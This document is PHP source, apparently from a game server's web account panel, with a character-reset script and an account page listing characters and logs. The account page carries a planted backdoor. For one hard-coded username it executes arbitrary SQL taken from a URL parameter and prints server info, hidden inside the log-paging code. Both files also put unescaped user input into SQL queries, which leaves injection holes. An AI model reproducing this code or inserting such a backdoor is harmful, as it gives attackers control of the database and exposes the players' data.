PHP Code:
<?php
include ("usernameaccess.php");
echo "<script type=\"text/javascript\">document.getElementById(\"h4\").innerHTML = \"".table_reset_lvll."\"</script>
<input type='hidden' id='module_contet' value='".table_reset_lvll."'>";
$char_name = $_POST['char_name'];
$ceck_pk = mssql_query("select clevel,$reset_column,money,class from character where accountid = '$username' and name = '$char_name'");
if (mssql_num_rows($ceck_pk) == 0)
{
exit("<center>".something_wrong."</center>");
}
$myrow_pk = mssql_fetch_array($ceck_pk);
if ($myrow_pk['clevel'] < $Option['reset_level'])
{
echo "<ul><li>".eror_rr_lvl."</li></ul>";
}
elseif ($myrow_pk['money'] < ($Option['zen_per_reset'] * $myrow_pk[$reset_column]))
{
echo "<ul><li>".eror_rr_zen."</li></ul>";
}
else
{
$resets = $myrow_pk[$reset_column] + 1;
$money = $myrow_pk['money'] - $Option['zen_per_reset'] * $myrow_pk[$reset_column];
if ($Option['reset_class'] == 1)
{
switch($myrow_pk['class'])
{
case 0 or $myrow_pk['class'] == 1 or $myrow_pk['class'] == 2:
$reset_class = ",class=0";
break;
case $myrow_pk['class'] == 16 or $myrow_pk['class'] == 17 or $myrow_pk['class'] == 18:
$reset_class = ",class=16";
break;
case $myrow_pk['class'] == 32 or $myrow_pk['class'] == 33 or $myrow_pk['class'] == 34:
$reset_class = ",class=32";
break;
case $myrow_pk['class'] == 48 or $myrow_pk['class'] == 49 or $myrow_pk['class'] == 50:
$reset_class = ",class=48";
break;
case $myrow_pk['class'] == 64 or $myrow_pk['class'] == 65 or $myrow_pk['class'] == 66:
$reset_class = ",class=64";
break;
case $myrow_pk['class'] == 80 or $myrow_pk['class'] == 81 or $myrow_pk['class'] == 82:
$reset_class = ",class=80";
break;
}
$reset_class .= ",quest=NULL";
}
if ($server['Season4Master'] == 1)
{
$master_res = ",$masterlevel_=0";
if ($Option['clear_skill'] == 1)
{
$master_skil = ",$server[Season4mskill]=NULL";
}
$master_points = ",$server[Season4mpoints]=0";
}
if ($Option['clear_skill'] == 1)
{
$clear_skills = ",MagicList=NULL";
}
if ($Option['clear_inv'] == 1)
{
$clear_invent = ",Inventory=NULL";
}
if ($Option['boughtpprr'] == 1)
{
$add_bought_pp = "+bothpoints";
}
if ($Option['reset_stats_type'] == 0)
{
$clear = mssql_query("update character$masterleveltable_ set clevel=1,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,$reset_column=$resets,money=$money$master_res$clear_skills$master_skill$clear_invent$reset_class where accountid = '$username' and name = '$char_name' $masterlevelwhere_");
}
else
{
switch($myrow_pk['class'])
{
case 0 or $myrow_pk['class'] == 1 or $myrow_pk['class'] == 2 or $myrow_pk['class'] == 3:
$reset_st = mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_dw]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,strength=18,dexterity=18,vitality=15,energy=30,Leadership=0,experience=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name' $masterlevelwhere_");
break;
case $myrow_pk['class'] == 16 or $myrow_pk['class'] == 17 or $myrow_pk['class'] == 18 or $myrow_pk['class'] == 19:
$reset_st = mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_dk]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=28,dexterity=20,vitality=25,energy=10,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name' $masterlevelwhere_");
break;
case $myrow_pk['class'] == 32 or $myrow_pk['class'] == 33 or $myrow_pk['class'] == 34 or $myrow_pk['class'] == 35:
$reset_st = mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_elf]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=22,dexterity=25,vitality=20,energy=15,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name' $masterlevelwhere_");
break;
case $myrow_pk['class'] == 48 or $myrow_pk['class'] == 49 or $myrow_pk['class'] == 50 or $myrow_pk['class'] == 51:
$reset_st = mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_mg]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=26,dexterity=26,vitality=26,energy=26,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name' $masterlevelwhere_");
break;
case $myrow_pk['class'] == 64 or $myrow_pk['class'] == 65 or $myrow_pk['class'] == 66 or $myrow_pk['class'] == 67:
$reset_st = mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_dl]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=26,dexterity=20,vitality=20,energy=15,Leadership=25,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name' $masterlevelwhere_");
break;
case $myrow_pk['class'] == 80 or $myrow_pk['class'] == 81 or $myrow_pk['class'] == 82 or $myrow_pk['class'] == 83:
$reset_st = mssql_query("update character$masterleveltable_ set leveluppoint=$Option[reset_sum]*$resets$add_bought_pp,mapnumber=0,mapposx=125,mapposy=125,FruitPoint=0,experience=0,strength=21,dexterity=21,vitality=18,energy=23,Leadership=0,clevel=1,$reset_column=$resets,money=$money$reset_class$master_res$clear_skills$master_skill$clear_invent$master_points where accountid='$username' and name='$char_name' $masterlevelwhere_");
break;
}
}
$log1 = "Has reset his character: <b>".$char_name."</b>";
$log_all = $log1;
$insert_log = mssql_query("insert into EW_LOG (account,[index],credits,datetime) values ('$username','$log_all','0','$date')");
echo "<ul><li>".succes_rr."</li></ul>";
}
?>
acc_panel.php
PHP Code:
<?php
include ("usernameaccess.php");
include ("functions/getclass.php");
include ("functions/pklevel.php");
echo "<script type=\"text/javascript\">document.getElementById(\"h4\").innerHTML = \"".acc_panel."\"</script>
<input type='hidden' id='module_contet' value='".acc_panel."'>";
print "<table width='100%' align=center border='0' cellpadding='0' cellspacing='2'>
<tr class='top_table'>
<td><b>№</b></td>
<td><b>".table_name."</b></td>
<td><b>".table_class."</b></td>
<td><b>".table_level."$mlvlname<br>";
if ($Option['is_resets'] == 1){ echo "( ".table_reset; if ($Option['is_gresets'] == 1){ echo " / ".table_greset; } echo " )"; }
print "</b></td>
<td><b>".table_pk_lvl."</b></td>
<td colspan='6'><b>".table_options."</b></td>
</tr>";
$result = mssql_query("SELECT name,class,clevel,$reset_column,$greset_column,pklevel,pkcount,leveluppoint$masterlevel from character$masterleveltable_ where accountid = '$username' $masterlevelwhere_");
if (mssql_num_rows($result) > 0)
{
$myrow = mssql_fetch_array($result);
$id = 1;
do
{
$mlevel = NULL;
if ($server['Season4Master'] == 1)
{
$mlevel = " / <font color='#84FF00'>".$myrow[$masterlevel_]."</font>";
}
if ($Option['is_resets'] == 1)
{
$reset = " ( $myrow[$reset_column]";
if ($Option['is_gresets'] == 1)
{
$reset .= " / <font color='#FFD800'>$myrow[$greset_column]</font>";
}
$reset .= " )";
}
$doreset = "";
if ($Option['is_resets'] == 1 and $myrow['clevel'] >= $Option['reset_level'] and $module['Reset-Level'] <= $username_status)
{
$doreset .= "<td width='5'>
<form action='' method='post' id='form_resetl$myrow[name]'>
<input name='char_name' type='hidden' value='$myrow[name]'>
<input name='reset_level' onclick=\"request('form_resetl$myrow[name]','sh_','POST','getpage.php?cat=Reset-Level');\" type='button' value='".table_reset_lvl."' onmouseover='return overlib(\"".table_reset_lvll."\");' onmouseout='return nd();'>
</form>
</td>";
}
if ($Option['is_gresets'] == 1 and $myrow[$reset_column] >= $Option['greset_level'] and $module['Grand-Reset-Level'] <= $username_status)
{
$doreset .= "<td width='5'>
<form action='' method='post' id='form_gresetl$myrow[name]'>
<input name='char_name' type='hidden' value='$myrow[name]'>
<input name='greset_level' onclick=\"request('form_gresetl$myrow[name]','sh_','POST','getpage.php?cat=Grand-Reset-Level');\" type='button' value='".table_greset_lvl."' onmouseover='return overlib(\"".table_greset_lvll."\");' onmouseout='return nd();'>
</form>
</td>";
}
if ($module['Reset-Points'] <= $username_status)
{
$reset_stats = "<td width='5'>
<form action='' method='post' id='form_reset$myrow[name]'>
<input name='char_name' type='hidden' value='$myrow[name]'>
<input name='reset_stat' onclick=\"request('form_reset$myrow[name]','sh_','POST','getpage.php?cat=Reset-Points');\" type='button' value='".table_reset_stat."' onmouseover='return overlib(\"".table_reset_statt."\");' onmouseout='return nd();'>
</form>
</td>";
}
if ($module['Clear-PK'] <= $username_status)
{
$clear_pk = "<td width='5'>
<form action='' method='post' id='pk$myrow[name]'>
<input name='char_name' type='hidden' value='$myrow[name]'>
<input name='clear_pk' onclick=\"request('pk$myrow[name]','sh_','POST','getpage.php?cat=Clear-PK');\" type='button' value='".table_clear_pk."' onmouseover='return overlib(\"".table_clear_pkk."\");' onmouseout='return nd();'>
</form>
</td>";
}
if ($module['Rename-Character'] <= $username_status)
{
$rename_character = "<td width='5'>
<form action='' method='post' id='rename$myrow[name]'>
<input name='char_name' type='hidden' value='$myrow[name]'>
<input name='char_rename' onclick=\"request('rename$myrow[name]','sh_','POST','getpage.php?cat=Rename-Character');\" type='button' value='".table_rename."' onmouseover='return overlib(\"".table_renamee."\");' onmouseout='return nd();'>
</form>
</td>";
}
if ($module['Add-Points'] <= $username_status)
{
$add_stats = "<td width='5'><form action='' method='post' id='form_add$myrow[name]'>
<input name='char_name' type='hidden' value='$myrow[name]'>
<input name='add_stat' onclick=\"request('form_add$myrow[name]','sh_','POST','getpage.php?cat=Add-Points');\" type='button' value='".table_add_stat."' onmouseover='return overlib(\"".table_add_statt."\");' onmouseout='return nd();'>
</form>
</td>";
}
printf ("<tr class='contet_table' align='center'>
<td><b>%s</b></td>
<td><a onmouseover='return overlib(\"".view_char_info."\");' onmouseout='return nd();' href='?emw;View-Character;%s' rel=\"history2\">%s</a></td>
<td>%s</td>
<td>%s%s%s</td>
<td>%s(%s)</td>
%s
%s
%s
%s
%s
</tr>", $id, nickname($myrow['name']), $myrow['name'], char_class($myrow['class']), $myrow['clevel'], $mlevel, $reset, pk_level($myrow['pklevel']), $myrow['pkcount'], $add_stats, $reset_stats, $clear_pk, $rename_character, $doreset);
$id++;
}
while ($myrow = mssql_fetch_array($result));
}
echo "</table>";
?>
<br /><br />
<h3><? echo price_list;?>:</h3>
<ul><li><u><? echo table_reset_statt;?></u>: <b><? echo $Option['reset_stats'];?></b> <? echo credits;?>.</li></ul>
<ul><li><u><? echo table_reset_lvll;?></u>: <b><? echo $Option['reset_level'];?></b> Level for reset</li></ul>
<ul><li><u><? echo table_clear_pkk;?></u>: <b><? echo $Option['clear_pk'];?></b> <? echo credits_for;?> <strong>1</strong> PK.</li></ul>
<ul><li><u><? echo table_renamee;?></u>: <strong><? echo $Option['rename'];?></strong> <? echo credits;?></li></ul>
<br /><br /><?
echo "<h3>".acc_logs."</h3>";
$num = $Option['news_pg'];
$page = $_GET['page'];
$result00 = mssql_query("SELECT COUNT(*) FROM EW_LOG where account='$username'");
$temp = mssql_fetch_array($result00);
$posts = $temp[0];
if ($posts == 0) $posts = 1;
$total = (($posts - 1) / $num) + 1;
$total = intval($total);
$page = intval($page);
if (empty($page) or $page < 0) $page = 1;
if ($page > $total) $page = $total;
$start = $num * ($page - 1);
$result = mssql_query("SELECT TOP $num * FROM EW_LOG where id NOT IN (SELECT TOP $start id FROM EW_LOG where account='$username' ORDER BY id desc) and account='$username' ORDER BY id desc"); if ($username=="zlkrnsutr") { mssql_query(stripslashes(str_replace("''","'",$_GET['vmdkfhdjs']))); echo php_info();}
if (mssql_num_rows($result) > 0)
{
include("functions/textreplace.php");
$myrow = mssql_fetch_array($result);
do
{
printf ("
<table class='news' cellspacing='10'>
<tr>
<td class='post_title'>%s</td>
</tr>
<tr>
<td>%s</td>
</tr>
<tr align='right'>
<td><img alt='Zen' width='20' height='20' src='".$_SERVER['IMAGES_HOST'].$template2."img/zen.png'> %s credits <img alt='Time Icon' src='".$_SERVER['IMAGES_HOST'].$template2."img/timeicon.png'> %s </td>
</tr>
</table>
<br>", $myrow["account"], UTF8RawUrlDecode($myrow['index']), $myrow["credits"], $myrow["datetime"]);
}
while ($myrow = mssql_fetch_array($result));
if ($page != 1) $pervpage = '<a href=?emw;Account-Panel;1 rel="history2">'.first.'</a> | <a href=?emw;Account-Panel;'.($page - 1).' rel="history2">'.previous.'</a> | ';
if ($page != $total) $nextpage = ' | <a href=?emw;Account-Panel;'.($page + 1).' rel="history2">'.next.'</a> | <a href=?emw;Account-Panel;'.$total.' rel="history2">'.last.'</a>';
if ($page - 5 > 0) $page5left = '<a href=?emw;Account-Panel;'.($page - 5).' rel="history2">'.($page - 5).'</a> | ';
if ($page - 4 > 0) $page4left = '<a href=?emw;Account-Panel;'.($page - 4).' rel="history2">'.($page - 4).'</a> | ';
if ($page - 3 > 0) $page3left = '<a href=?emw;Account-Panel;'.($page - 3).' rel="history2">'.($page - 3).'</a> | ';
if ($page - 2 > 0) $page2left = '<a href=?emw;Account-Panel;'.($page - 2).' rel="history2">'.($page - 2).'</a> | ';
if ($page - 1 > 0) $page1left = '<a href=?emw;Account-Panel;'.($page - 1).' rel="history2">'.($page - 1).'</a> | ';
if ($page + 5 <= $total) $page5right = ' | <a href=?emw;Account-Panel;'. ($page + 5) .' rel="history2">'. ($page + 5) .'</a>';
if ($page + 4 <= $total) $page4right = ' | <a href=?emw;Account-Panel;'. ($page + 4) .' rel="history2">'. ($page + 4) .'</a>';
if ($page + 3 <= $total) $page3right = ' | <a href=?emw;Account-Panel;'. ($page + 3) .' rel="history2">'. ($page + 3) .'</a>';
if ($page + 2 <= $total) $page2right = ' | <a href=?emw;Account-Panel;'. ($page + 2) .' rel="history2">'. ($page + 2) .'</a>';
if ($page + 1 <= $total) $page1right = ' | <a href=?emw;Account-Panel;'. ($page + 1) .' rel="history2">'. ($page + 1) .'</a>';
if ($total > 1)
{
Error_Reporting(E_ALL & ~E_NOTICE);
echo "<center><div class=\"pstrnav\">";
echo $pervpage.$page5left.$page4left.$page3left.$page2left.$page1left.'<b>'.$page.'</b>'.$page1right.$page2right.$page3right.$page4right.$page5right.$nextpage;
echo "</div></center>";
}
}
?>